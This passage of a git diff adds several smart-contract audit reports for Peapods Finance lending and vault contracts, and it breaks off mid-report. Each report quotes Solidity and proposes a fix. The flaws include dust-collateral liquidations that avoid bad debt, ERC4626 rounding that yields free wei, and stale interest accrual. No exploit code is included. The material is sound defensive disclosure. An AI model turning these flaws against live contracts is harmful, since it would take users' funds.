+3. A new implementation of WeightedIndex is deployed without maintaining strict adherence to the previous storage layout.
+
+
+### External Pre-conditions
+
+1. The project upgrades the beacon with a new implementation of WeightedIndex.
+2. The new implementation introduces additional storage variables, causing a misalignment in existing storage slots.
+
+
+### Attack Path
+
+1. A new implementation of WeightedIndex is deployed and set in the beacon.
+2. Storage layout misalignment occurs due to additional or reordered storage variables.
+3. Existing index contracts experience unpredictable behavior, potentially leading to contract failure, loss of funds, or broken integrations.
+
+
+### Impact
+
+The users of all WeightedIndex instances suffer from potential loss of funds or broken contract functionality due to storage corruption. If storage slots shift unexpectedly, critical data may become unreadable or overwritten, leading to complete contract failure.
+
+
+### PoC
+
+_No response_
+
+
+### Mitigation
+
+Implement OpenZeppelin’s recommended storage gap pattern or structured storage slots to ensure safe storage upgrades.
+
diff --git a/449.md b/449.md
new file mode 100644
index 0000000..a952be0
--- /dev/null
+++ b/449.md
@@ -0,0 +1,91 @@
+Keen Jetblack Deer
+
+Medium
+
+# FraxlendPair should call `_addInterest()` when admin fees are withdrawed
+
+
+### Summary
+
+In FraxlendPair, `_addInterest()` should be called before admin fees are withdrawed. The current implementation results in admins collecting fewer fees.
+
+### Root Cause
+
+Admin uses the function `withdrawFees()` to withdraw admin fees, which is in the form of fTKN shares. The number of shares `_shares` is specified. However, since `_addInterest()` is not called, the amount of assets the shares corresponds would be fewer than expected, because the latest interest is not accumulated yet.
+
+- https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPair.sol#L452-L469
+
+```solidity
+ function withdrawFees(uint128 _shares, address _recipient) external onlyOwner returns (uint256 _amountToTransfer) {
+ if (_recipient == address(0)) revert InvalidReceiver();
+
+ // Grab some data from state to save gas
+ VaultAccount memory _totalAsset = totalAsset;
+
+ // Take all available if 0 value passed
+ if (_shares == 0) _shares = balanceOf(address(this)).toUint128();
+
+ // We must calculate this before we subtract from _totalAsset or invoke _burn
+ _amountToTransfer = _totalAsset.toAmount(_shares, true);
+
+ _approve(address(this), msg.sender, _shares);
+ _redeem(_totalAsset, _amountToTransfer.toUint128(), _shares, _recipient, address(this), false);
+ uint256 _collateralAmount = userCollateralBalance[address(this)];
+ _removeCollateral(_collateralAmount, _recipient, address(this));
+ emit WithdrawFees(_shares, _recipient, _amountToTransfer, _collateralAmount);
+ }
+```
+
+The correct implementation is as the regular `withdraw()` function in [FraxlendPairCore.sol](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L823).
+
+```solidity
+ function withdraw(uint256 _amount, address _receiver, address _owner)
+ external
+ nonReentrant
+ returns (uint256 _sharesToBurn)
+ {
+ if (_receiver == address(0)) revert InvalidReceiver();
+
+ // Check if withdraw is paused and revert if necessary
+ if (isWithdrawPaused) revert WithdrawPaused();
+
+ // Accrue interest if necessary
+@> _addInterest();
+
+ // Pull from storage to save gas
+ VaultAccount memory _totalAsset = totalAsset;
+
+ // Calculate the number of shares to burn based on the amount to withdraw
+ _sharesToBurn = _totalAsset.toShares(_amount, true);
+
+ // Execute the withdraw effects
+ _redeem(_totalAsset, _amount.toUint128(), _sharesToBurn.toUint128(), _receiver, _owner, false);
+ }
+
+
+```
+
+
+### Internal pre-conditions
+
+- Admin withdraws fees with function `withdrawFees()`.
+
+### External pre-conditions
+
+N/A
+
+### Attack Path
+
+N/A
+
+### Impact
+
+Admin would end up with less asset token.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+Call `_addInterest()`.
diff --git a/450.md b/450.md
new file mode 100644
index 0000000..1078366
--- /dev/null
+++ b/450.md
@@ -0,0 +1,67 @@
+Keen Jetblack Deer
+
+Medium
+
+# FraxlendPair does not correctly support USDT.
+
+
+### Summary
+
+FraxlendPair does not correctly support USDT.
+
+### Root Cause
+
+When assets are being transferred from FraxlendPair to LVA, the `_withdrawToVault()` function is called. The `.approve()` function is used, instead of `safeIncreaseAllowance`, which will fail for USDT because USDT approve function does not have return value.
+
+- https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L673
+
+```solidity
+ function _withdrawToVault(uint256 _amountToReturn) internal returns (uint256 _shares) {
+ // Pull from storage to save gas
+ VaultAccount memory _totalAsset = totalAsset;
+
+ // Calculate the number of shares to burn based on the assets to transfer
+ _shares = _totalAsset.toShares(_amountToReturn, true);
+ uint256 _vaultBal = balanceOf(address(externalAssetVault));
+ _shares = _vaultBal < _shares ? _vaultBal : _shares;
+
+ // Deposit assets to external vault
+@> assetContract.approve(address(externalAssetVault), _amountToReturn);
+ externalAssetVault.whitelistDeposit(_amountToReturn);
+
+ // Execute the withdraw effects for vault
+ // receive assets here in order to call whitelistDeposit and handle accounting in external vault
+ _redeem(
+ _totalAsset,
+ _amountToReturn.toUint128(),
+ _shares.toUint128(),
+ address(this),
+ address(externalAssetVault),
+ true
+ );
+ }
+```
+
+### Internal pre-conditions
+
+- Assets are being transferred from FraxlendPair to LVA
+
+### External pre-conditions
+
+N/A
+
+### Attack Path
+
+N/A
+
+### Impact
+
+The transfer would fail for common tokens like USDT.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+Use `safeIncreaseAllowance()` instead.
\ No newline at end of file
diff --git a/451.md b/451.md
new file mode 100644
index 0000000..12ca2a3
--- /dev/null
+++ b/451.md
@@ -0,0 +1,63 @@
+Keen Jetblack Deer
+
+Medium
+
+# FraxlendPair `minCollateralRequiredOnDirtyLiquidation` is never set, which allows avoidance of bad debt.
+
+
+### Summary
+
+FraxlendPair `minCollateralRequiredOnDirtyLiquidation` is never set, which allows avoidance of bad debt.
+
+### Root Cause
+
+In the [Guardian audit report](https://sherlock-files.ams3.digitaloceanspaces.com/additional_resources/peapods_lvf_Guardian_report.pdf), the H-09 issue points out that liquidators can intentionally leave a dust amount of collateral behind when liquidating. This prevents creating bad debt, and there would be zero incentive for other liquidators to liquidate the position as the gas cost may exceed the collateral value. This is effectively avoiding the creation of bad debt.
+
+The Peapods team made a fix with `minCollateralRequiredOnDirtyLiquidation` which is the minimum amount of collateral that must be left if the position was not completely wiped out.
+
+However, there is no setter function to this variable, and it is not set during initialization/constructor phase, which means this mitigation is incorrect, and the original attack path is open again.
+
+- https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L673
+
+```solidity
+ if (_leftoverCollateral <= 0) {
+ // Determine if we need to adjust any shares
+ _sharesToAdjust = _borrowerShares - _sharesToLiquidate;
+ if (_sharesToAdjust > 0) {
+ // Write off bad debt
+ _amountToAdjust = (_totalBorrow.toAmount(_sharesToAdjust, false)).toUint128();
+
+ // Note: Ensure this memory struct will be passed to _repayAsset for write to state
+ _totalBorrow.amount -= _amountToAdjust;
+
+ // Effects: write to state
+ totalAsset.amount -= _amountToAdjust;
+ }
+@> } else if (_leftoverCollateral < minCollateralRequiredOnDirtyLiquidation.toInt256()) {
+ revert BadDirtyLiquidation();
+ }
+```
+
+### Internal pre-conditions
+
+N/A
+
+### External pre-conditions
+
+- Liquidators leave a dust amount of collateral during liquidation (e.g. 1 wei).
+
+### Attack Path
+
+N/A
+
+### Impact
+
+No one would be incentivized to liquidate the position, so the debt would continue to accrue interest.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+Add a setter for `minCollateralRequiredOnDirtyLiquidation`, or at least set it during initialization.
\ No newline at end of file
diff --git a/452.md b/452.md
new file mode 100644
index 0000000..203af9f
--- /dev/null
+++ b/452.md
@@ -0,0 +1,104 @@
+Keen Jetblack Deer
+
+Medium
+
+# FraxlendPair interest is linearly updated, causing the interest to vary significantly due to the update frequency.
+
+
+### Summary
+
+FraxlendPair interest is linearly updated, causing the interest to vary significantly due to the update frequency.
+
+### Root Cause
+
+Fraxlend uses linear interest calculation, which means interest is calculated by interest rate by the time delta. This can lead to different interest amounts, depending on how frequently it’s called. A higher frequency of interest update would lead to higher total interest.
+
+The linear interest formula in a year is `finalInterest = (1 + rate * x / 365) ** (365 / x)`.
+
+- If we assume 80% APY and interest is updated daily, plug in `rate=0.8, x=1`, we would get `finalInterest=2.2236`.
+- If we assume interest is updated monthly, plug in `rate=0.8, x=30`, we get `finalInterest=2.1701`.
+
+This is an annual interest diff of ~0.05%.
+
+- https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L380
+
+```solidity
+ function _calculateInterest(CurrentRateInfo memory _currentRateInfo)
+ internal
+ view
+ returns (InterestCalculationResults memory _results)
+ {
+ // Short circuit if interest already calculated this block OR if interest is paused
+ if (_currentRateInfo.lastTimestamp != block.timestamp && !isInterestPaused) {
+ // Indicate that interest is updated and calculated
+ _results.isInterestUpdated = true;
+
+ // Write return values and use these to save gas
+ _results.totalAsset = totalAsset;
+ _results.totalBorrow = totalBorrow;
+
+ // Time elapsed since last interest update
+@> uint256 _deltaTime = block.timestamp - _currentRateInfo.lastTimestamp;
+
+ // Total assets available including what resides in the external vault
+ uint256 _totalAssetsAvailable = _results.totalAsset.totalAmount(address(externalAssetVault));
+
+ // Get the utilization rate
+ uint256 _utilizationRate =
+ _totalAssetsAvailable == 0 ? 0 : (UTIL_PREC * _results.totalBorrow.amount) / _totalAssetsAvailable;
+
+ // Request new interest rate and full utilization rate from the rate calculator
+@> (_results.newRate, _results.newFullUtilizationRate) = IRateCalculatorV2(rateContract).getNewRate(
+ _deltaTime, _utilizationRate, _currentRateInfo.fullUtilizationRate
+ );
+
+ // Calculate interest accrued
+@> _results.interestEarned = (_deltaTime * _results.totalBorrow.amount * _results.newRate) / RATE_PRECISION;
+
+ // Accrue interest (if any) and fees iff no overflow
+ if (
+ _results.interestEarned > 0
+ && _results.interestEarned + _results.totalBorrow.amount <= type(uint128).max
+ && _results.interestEarned + _totalAssetsAvailable <= type(uint128).max
+ ) {
+ // Increment totalBorrow and totalAsset by interestEarned
+ _results.totalBorrow.amount += _results.interestEarned.toUint128();
+ _results.totalAsset.amount += _results.interestEarned.toUint128();
+ if (_currentRateInfo.feeToProtocolRate > 0) {
+ _results.feesAmount = (_results.interestEarned * _currentRateInfo.feeToProtocolRate) / FEE_PRECISION;
+
+ _results.feesShare = (_results.feesAmount * _results.totalAsset.shares)
+ / (_results.totalAsset.totalAmount(address(0)) - _results.feesAmount);
+
+ // Effects: Give new shares to this contract, effectively diluting lenders an amount equal to the fees
+ // We can safely cast because _feesShare < _feesAmount < interestEarned which is always less than uint128
+ _results.totalAsset.shares += _results.feesShare.toUint128();
+ }
+ }
+ }
+ }
+```
+
+### Internal pre-conditions
+
+N/A
+
+### External pre-conditions
+
+N/A
+
+### Attack Path
+
+N/A
+
+### Impact
+
+Interest may be significantly different due to update interest frequency.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+Fix is not trivial.
\ No newline at end of file
diff --git a/453.md b/453.md
new file mode 100644
index 0000000..347dfec
--- /dev/null
+++ b/453.md
@@ -0,0 +1,137 @@
+Keen Jetblack Deer
+
+Medium
+
+# FraxlendPair external `addInterest()` update logic is flawed, leading to inaccurate interest for LVA.
+
+
+### Summary
+
+FraxlendPair external `addInterest()` update logic is flawed, leading to inaccurate interest for LVA.
+
+### Root Cause
+
+First we need to understand how LVA triggers FraxlendPair's external addInterest function.
+
+Inside FraxlendPairCore, a `_prevUtilizationRate` variable is used to maintain the utilization rate (borrowedAsset/totalAsset ratio). When LVA triggers an external `addInterest()`, it first checks the whether the last utilization rate has changed against the new utilization rate. If the change is large enough, the internal `_addInterest()` is trigged.
+
+A typical callstack is `LendingAssetVault#withdraw` -> `LendingAssetVault#_updateInterestAndMdInAllVaults` -> `FraxlendPair#addInterest` -> `FraxlendPair#_addInterest`.
+
+The bug here is the utilization rate diff does not work if there was no interaction with FraxlendPair/LVA for a period of time.
+
+For example:
+
+1. At timestamp T0, Fraxlend `_addInterest` is triggered.
+2. At timestamp T1, Fraxlend `_addInterest` is triggered again. `_prevUtilizationRate` is now updated to utilization at T0.
+3. For a long time, there is no interaction to FraxlendPair and LVA.
+4. At timestamp T2, a user calls `LendingAssetVault#withdraw()` to withdraw shares.
+
+Since the time period from T1->T2 is long, the interest accrued is also large, so when withdrawing shares, user should benefit from the interest between period T1->T2. However, in `addInterest()`, the new utilization `_newUtilizationRate` calculated is still the same as `_prevUtilizationRate`, because interest was not updated at all (also because there has been no interaction with LVA, the external asset also didn't change). This means the interest is not updated, and the user would not get the interest, effectively resulting in loss of funds.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol
+
+```solidity
+ function withdraw(uint256 _assets, address _receiver, address _owner) external override returns (uint256 _shares) {
+ _updateInterestAndMdInAllVaults(address(0));
+ _shares = convertToShares(_assets);
+ _withdraw(_shares, _assets, _owner, _msgSender(), _receiver);
+ }
+
+ function _updateInterestAndMdInAllVaults(address _vaultToExclude) internal {
+ uint256 _l = _vaultWhitelistAry.length;
+ for (uint256 _i; _i < _l; _i++) {
+ address _vault = _vaultWhitelistAry[_i];
+ if (_vault == _vaultToExclude) {
+ continue;
+ }
+ (uint256 _interestEarned,,,,,) = IFraxlendPair(_vault).addInterest(false);
+ if (_interestEarned > 0) {
+ _updateAssetMetadataFromVault(_vault);
+ }
+ }
+ }
+```
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L286
+
+```solidity
+ function addInterest(bool _returnAccounting)
+ external
+ nonReentrant
+ returns (
+ uint256 _interestEarned,
+ uint256 _feesAmount,
+ uint256 _feesShare,
+ CurrentRateInfo memory _currentRateInfo,
+ VaultAccount memory _totalAsset,
+ VaultAccount memory _totalBorrow
+ )
+ {
+ uint256 _currentUtilizationRate = _prevUtilizationRate;
+ uint256 _totalAssetsAvailable = totalAsset.totalAmount(address(externalAssetVault));
+@> uint256 _newUtilizationRate =
+ _totalAssetsAvailable == 0 ? 0 : (UTIL_PREC * totalBorrow.amount) / _totalAssetsAvailable;
+ uint256 _rateChange = _newUtilizationRate > _currentUtilizationRate
+ ? _newUtilizationRate - _currentUtilizationRate
+ : _currentUtilizationRate - _newUtilizationRate;
+ if (
+ _currentUtilizationRate != 0
+ && _rateChange < _currentUtilizationRate * minURChangeForExternalAddInterest / UTIL_PREC
+ ) {
+ emit SkipAddingInterest(_rateChange);
+ } else {
+ (, _interestEarned, _feesAmount, _feesShare, _currentRateInfo) = _addInterest();
+ }
+ if (_returnAccounting) {
+ _totalAsset = totalAsset;
+ _totalBorrow = totalBorrow;
+ }
+ ...
+ }
+
+ function _addInterest()
+ internal
+ returns (
+ bool _isInterestUpdated,
+ uint256 _interestEarned,
+ uint256 _feesAmount,
+ uint256 _feesShare,
+ CurrentRateInfo memory _currentRateInfo
+ )
+ {
+ // Pull from storage and set default return values
+ _currentRateInfo = currentRateInfo;
+
+ // store the current utilization rate as previous for next check
+ uint256 _totalAssetsAvailable = _totalAssetAvailable(totalAsset, totalBorrow, true);
+@> _prevUtilizationRate = _totalAssetsAvailable == 0 ? 0 : (UTIL_PREC * totalBorrow.amount) / _totalAssetsAvailable;
+ ...
+ }
+```
+
+### Internal pre-conditions
+
+- No interaction with FraxlendPair and LVA for an enough period of time.
+
+### External pre-conditions
+
+N/A
+
+### Attack Path
+
+N/A
+
+### Impact
+
+During the period where no interactions was made to FraxlendPair and LVA, if users deposit/withdraw to LVA, the interest in Fraxlend would not be updated. This may lead to:
+
+1. When users are withdrawing shares, he would lose interest.
+2. When users are depositing assets, he can gain more shares since asset/share ratio is not updated.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+Add a time-based update mechanism in FraxlendPair's external `addInterest()`, e.g. update every 1 minute, regardless of how utilization rate changes.
\ No newline at end of file
diff --git a/454.md b/454.md
new file mode 100644
index 0000000..2b25d44
--- /dev/null
+++ b/454.md
@@ -0,0 +1,112 @@
+Keen Jetblack Deer
+
+Medium
+
+# LendingAssetVault should also call `_updateInterestAndMdInAllVaults()` in multiple functions.
+
+
+### Summary
+
+In LendingAssetVault.sol, There are four functions that should call `_updateInterestAndMdInAllVaults()` when it didn't:
+
+1. whitelistWithdraw
+2. whitelistDeposit
+3. depositToVault
+4. redeemFromVault
+
+This would lead to inaccurate interest for FraxlendPairs.
+
+### Root Cause
+
+`_updateInterestAndMdInAllVaults()` function is used to trigger an interest update for all FraxlendPairs. Each FraxlendPair's interest rate depends on the utilization rate. The utilization rate depends on the amount of assets within the FraxlendPair and in LVA.
+
+So if the asset amount of the LVA changes, each FraxlendPair should also update their interest.
+
+This is the case for `deposit()` and `withdraw()` function of the LVA (`_updateInterestAndMdInAllVaults()` is always triggered). But there are four more functions that changes amount of LVA assets.
+
+First two is `whitelistWithdraw()` and `whitelistDeposit()`. This is used by a single FraxlendPair if assets are transferred between the FraxlendPair and LVA.
+
+Next two is `depositToVault()` and `redeemFromVault()`. This is used by the admin to manually transfer assets to and from a FraxlendPair.
+
+All four functions should also call `_updateInterestAndMdInAllVaults()`, or else the interest for other FraxlendPairs would be inaccurate.
+
+- https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L230-L254
+- https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L310-L334
+
+```solidity
+ function whitelistWithdraw(uint256 _assetAmt) external override onlyWhitelist {
+ address _vault = _msgSender();
+ _updateAssetMetadataFromVault(_vault);
+
+ // validate max after doing vault accounting above
+ require(totalAvailableAssetsForVault(_vault) >= _assetAmt, "MAX");
+ vaultDeposits[_vault] += _assetAmt;
+ vaultUtilization[_vault] += _assetAmt;
+ _totalAssetsUtilized += _assetAmt;
+ IERC20(_asset).safeTransfer(_vault, _assetAmt);
+ emit WhitelistWithdraw(_vault, _assetAmt);
+ }
+
+ /// @notice The ```whitelistDeposit``` function is called by any whitelisted target vault to deposit assets back into this vault.
+ /// @notice need this instead of direct depositing in order to handle accounting for used assets and validation
+ /// @param _assetAmt the amount of underlying assets to deposit
+ function whitelistDeposit(uint256 _assetAmt) external override onlyWhitelist {
+ address _vault = _msgSender();
+ _updateAssetMetadataFromVault(_vault);
+ vaultDeposits[_vault] -= _assetAmt > vaultDeposits[_vault] ? vaultDeposits[_vault] : _assetAmt;
+ vaultUtilization[_vault] -= _assetAmt;
+ _totalAssetsUtilized -= _assetAmt;
+ IERC20(_asset).safeTransferFrom(_vault, address(this), _assetAmt);
+ emit WhitelistDeposit(_vault, _assetAmt);
+ }
+
+ function depositToVault(address _vault, uint256 _amountAssets) external onlyOwner {
+ require(_amountAssets > 0);
+ _updateAssetMetadataFromVault(_vault);
+ IERC20(_asset).safeIncreaseAllowance(_vault, _amountAssets);
+ uint256 _amountShares = IERC4626(_vault).deposit(_amountAssets, address(this));
+ require(totalAvailableAssetsForVault(_vault) >= _amountAssets, "MAX");
+ vaultDeposits[_vault] += _amountAssets;
+ vaultUtilization[_vault] += _amountAssets;
+ _totalAssetsUtilized += _amountAssets;
+ emit DepositToVault(_vault, _amountAssets, _amountShares);
+ }
+
+ /// @notice The ```redeemFromVault``` function redeems shares from a specific vault
+ /// @param _vault The vault to redeem shares from
+ /// @param _amountShares The amount of shares to redeem (0 for all)
+ function redeemFromVault(address _vault, uint256 _amountShares) external onlyOwner {
+ _updateAssetMetadataFromVault(_vault);
+ _amountShares = _amountShares == 0 ? IERC20(_vault).balanceOf(address(this)) : _amountShares;
+ uint256 _amountAssets = IERC4626(_vault).redeem(_amountShares, address(this), address(this));
+ uint256 _redeemAmt = vaultUtilization[_vault] < _amountAssets ? vaultUtilization[_vault] : _amountAssets;
+ vaultDeposits[_vault] -= _redeemAmt > vaultDeposits[_vault] ? vaultDeposits[_vault] : _redeemAmt;
+ vaultUtilization[_vault] -= _redeemAmt;
+ _totalAssetsUtilized -= _redeemAmt;
+ emit RedeemFromVault(_vault, _amountShares, _redeemAmt);
+ }
+```
+
+### Internal pre-conditions
+
+N/A
+
+### External pre-conditions
+
+N/A
+
+### Attack Path
+
+N/A
+
+### Impact
+
+Interest for FraxlendPairs would be inaccurate.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+Call `_updateInterestAndMdInAllVaults()` for the above four functions.
\ No newline at end of file
diff --git a/455.md b/455.md
new file mode 100644
index 0000000..3576c05
--- /dev/null
+++ b/455.md
@@ -0,0 +1,151 @@
+Keen Jetblack Deer
+
+Medium
+
+# LendingAssetVault is not EIP4626 compliant
+
+
+### Summary
+
+LendingAssetVault is not EIP4626 compliant. In fact, it violates a lot of the EIP4626 specs.
+
+### Root Cause
+
+First, the README explicitly states ERC4626 should be complied to:
+
+> Q: Is the codebase expected to comply with any specific EIPs?
+>
+> Many of our contracts implement ERC20 and ERC4626 which we attempt to comply with in the entirety of those standards for contracts that implement them.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L1
+
+According to the https://eips.ethereum.org/EIPS/eip-4626,
+
+1. `mint` and `previewMint` should always overestimate (should round up). Currently it rounds down.
+
+> If (1) it’s calculating the amount of shares a user has to supply to receive a given amount of the underlying tokens or (2) it’s calculating the amount of underlying tokens a user has to provide to receive a certain amount of shares, it should round up.
+
+```solidity
+ function convertToAssets(uint256 _shares) public view override returns (uint256 _assets) {
+ _assets = (_shares * _cbr()) / PRECISION;
+ }
+
+ function _previewConvertToAssets(uint256 _shares) internal view returns (uint256 _assets) {
+ _assets = (_shares * _previewCbr()) / PRECISION;
+ }
+
+ function previewMint(uint256 _shares) external view override returns (uint256 _assets) {
+ _assets = _previewConvertToAssets(_shares);
+ }
+
+ function mint(uint256 _shares, address _receiver) external override returns (uint256 _assets) {
+ _updateInterestAndMdInAllVaults(address(0));
+ _assets = convertToAssets(_shares);
+ _deposit(_assets, _shares, _receiver);
+ }
+```
+
+Users can also use this incorrect rounding to mint free shares (only a couple wei though).
+
+2. `withdraw` and `previewWithdraw` should always overestimate (should round up). Currently it rounds down.
+
+> If (1) it’s calculating the amount of shares a user has to supply to receive a given amount of the underlying tokens or (2) it’s calculating the amount of underlying tokens a user has to provide to receive a certain amount of shares, it should round up.
+
+
+```solidity
+ function convertToShares(uint256 _assets) public view override returns (uint256 _shares) {
+ _shares = (_assets * PRECISION) / _cbr();
+ }
+
+ function _previewConvertToShares(uint256 _assets) internal view returns (uint256 _shares) {
+ _shares = (_assets * PRECISION) / _previewCbr();
+ }
+
+ function previewWithdraw(uint256 _assets) external view override returns (uint256 _shares) {
+ _shares = _previewConvertToShares(_assets);
+ }
+
+ function withdraw(uint256 _assets, address _receiver, address _owner) external override returns (uint256 _shares) {
+ _updateInterestAndMdInAllVaults(address(0));
+ _shares = convertToShares(_assets);
+ _withdraw(_shares, _assets, _owner, _msgSender(), _receiver);
+ }
+```
+
+Users can also use this incorrect rounding to withdraw free assets (only a couple wei though).
+
+3. Event of `_withdraw()` is incorrect. It should be `emit Withdraw(caller, receiver, owner, assets, shares);`.
+
+> MUST emit the Withdraw event.
+
+> - name: Withdraw
+> type: event
+> inputs:
+> - name: sender
+> indexed: true
+> type: address
+> - name: receiver
+> indexed: true
+> type: address
+> - name: owner
+> indexed: true
+> type: address
+> - name: assets
+> indexed: false
+> type: uint256
+> - name: shares
+> indexed: false
+> type: uint256
+
+```solidity
+ function _withdraw(uint256 _shares, uint256 _assets, address _owner, address _caller, address _receiver) internal {
+ if (_caller != _owner) {
+ _spendAllowance(_owner, _caller, _shares);
+ }
+ uint256 _totalAvailable = totalAvailableAssets();
+ _totalAssets -= _assets;
+
+ require(_totalAvailable >= _assets, "AV");
+ _burn(_owner, _shares);
+ IERC20(_asset).safeTransfer(_receiver, _assets);
+@> emit Withdraw(_owner, _receiver, _receiver, _assets, _shares);
+ }
+```
+
+4. `previewDeposit`, `previewMint` may be a lot different from `deposit`, `mint`, because preview functions always calculates with the latest FraxlendPair interest, but `deposit`, `mint` may trigger the cache logic and not use latest interest.
+
+> MUST return as close to and no more than the exact amount of Vault shares that would be minted in a deposit call in the same transaction. I.e. deposit should return the same or more shares as previewDeposit if called in the same transaction.
+
+```solidity
+ // @audit-bug: The cache logic does not exist in previewDeposit().
+@> (uint256 _interestEarned,,,,,) = IFraxlendPair(_vault).addInterest(false);
+ if (_interestEarned > 0) {
+ _updateAssetMetadataFromVault(_vault);
+ }
+```
+
+
+### Internal pre-conditions
+
+N/A
+
+### External pre-conditions
+
+N/A
+
+### Attack Path
+
+N/A
+
+### Impact
+
+1. Integrators may have trouble integrating as ERC4626.
+2. Users can mint free shares and withdraw free assets (up to a couple of wei).
+
+### PoC
+
+N/A
+
+### Mitigation
+
+Fix accordingly.
\ No newline at end of file
diff --git a/456.md b/456.md
new file mode 100644
index 0000000..400c83d
--- /dev/null
+++ b/456.md
@@ -0,0 +1,104 @@
+Keen Jetblack Deer
+
+Medium
+
+# LVF feature won't work if `stakeUserRestriction` was set for StakingPoolToken.
+
+
+### Summary
+
+LVF feature won't work if `stakeUserRestriction` was set for StakingPoolToken.
+
+### Root Cause
+
+In StakingPoolToken.sol, there is a `stakeUserRestriction` feature that restricts only a specific user can stake LP tokens to receive spTKN.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/StakingPoolToken.sol#L70
+
+```solidity
+ function stake(address _user, uint256 _amount) external override {
+ require(stakingToken != address(0), "I");
+ if (stakeUserRestriction != address(0)) {
+@> require(_user == stakeUserRestriction, "U");
+ }
+ _mint(_user, _amount);
+ IERC20(stakingToken).safeTransferFrom(_msgSender(), address(this), _amount);
+ emit Stake(_msgSender(), _user, _amount);
+ }
+```
+
+In the LVF feature, the AutoCompoundingPodLP automatically swap rewards to pairedLpTKN and pTKN, then stake for spTKN and recompound it. However, when staking for spTKN, it uses `IndexUtils.sol#addLPAndStake()` function which internally calls `_stakeLPForUserHandlingLeftoverCheck()` function. Inside this function, it either stakes to the `IndexUtils.sol` contract itself, or stakes to `AutoCompoundingPodLp.sol` contract, which would both fail if `stakeUserRestriction` is set.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L331
+
+```solidity
+@> try indexUtils.addLPAndStake(
+ pod, _podAmountOut, _pairedLpToken, _pairedRemaining, _pairedRemaining, lpSlippage, _deadline
+ ) returns (uint256 _lpTknOut) {
+ _amountOut = _lpTknOut;
+ } catch {
+ IERC20(pod).safeDecreaseAllowance(address(indexUtils), _podAmountOut);
+ IERC20(_pairedLpToken).safeDecreaseAllowance(address(indexUtils), _pairedRemaining);
+ emit AddLpAndStakeError(address(pod), _amountIn);
+ }
+```
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/IndexUtils.sol#L154
+
+```solidity
+ function addLPAndStake(
+ IDecentralizedIndex _indexFund,
+ uint256 _amountIdxTokens,
+ address _pairedLpTokenProvided,
+ uint256 _amtPairedLpTokenProvided,
+ uint256 _amountPairedLpTokenMin,
+ uint256 _slippage,
+ uint256 _deadline
+ ) external payable override returns (uint256 _amountOut) {
+ ...
+@> _amountOut = _stakeLPForUserHandlingLeftoverCheck(_indexFund.lpStakingPool(), _msgSender(), _amountOut);
+ ...
+ }
+
+ function _stakeLPForUserHandlingLeftoverCheck(address _stakingPool, address _receiver, uint256 _stakeAmount)
+ internal
+ returns (uint256 _finalAmountOut)
+ {
+ _finalAmountOut = _stakeAmount;
+ if (IERC20(_stakingPool).balanceOf(address(this)) > 0) {
+ IStakingPoolToken(_stakingPool).stake(_receiver, _stakeAmount);
+ return _finalAmountOut;
+ }
+
+@> IStakingPoolToken(_stakingPool).stake(address(this), _stakeAmount);
+ // leave 1 wei in the CA for future gas savings
+ _finalAmountOut = IERC20(_stakingPool).balanceOf(address(this)) - 1;
+ IERC20(_stakingPool).safeTransfer(_receiver, _finalAmountOut);
+ }
+```
+
+### Internal pre-conditions
+
+- `stakeUserRestriction` is set
+
+### External pre-conditions
+
+N/A
+
+### Attack Path
+
+N/A
+
+### Impact
+
+If `stakeUserRestriction` is set, the LVF feature would not work at all.
+
+This may or may not be by design, but it was at least not documented.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+Allow to stake to the above two contracts even if `stakeUserRestriction` is set.
diff --git a/457.md b/457.md
new file mode 100644
index 0000000..3f64f9a
--- /dev/null
+++ b/457.md
@@ -0,0 +1,100 @@
+Keen Jetblack Deer
+
+Medium
+
+# TokenRewards.sol potential overflow when calculating cumulative rewards, which may DoS the entire reward logic.
+
+
+### Summary
+
+TokenRewards.sol potential overflow when calculating cumulative rewards, which may DoS the entire reward logic.
+
+### Root Cause
+
+`_rewardsPerShare[]` accumulates the sum of `(PRECISION * _depositAmount) / totalShares` for deposited rewards.
+
+During spTKN transfer, `_resetExcluded()` is always called, which always calculate a `_r = (_share * _rewardsPerShare[_token]) / PRECISION;` when calculating `rewards[_token][_wallet].excluded`.
+
+Here PRECISION=1e27, share decimals is always 18, and reward token decimals is 18. In worst case scenario, totalShares can be 1 wei (e.g. during the beginning of a pod lifecycle, or a rare case during the pod lifecycle).
+
+u256.max is around 1e77. Now we already have 18+18+27=63. If depositAmount and sharesAmount (which is UniV2 LP amount) multiplies up to 1e14, we can construct an overflow scenario.
+
+This would be acheivable if either rewardToken and pTKN/pairedLpTKN LP was cheap.
+
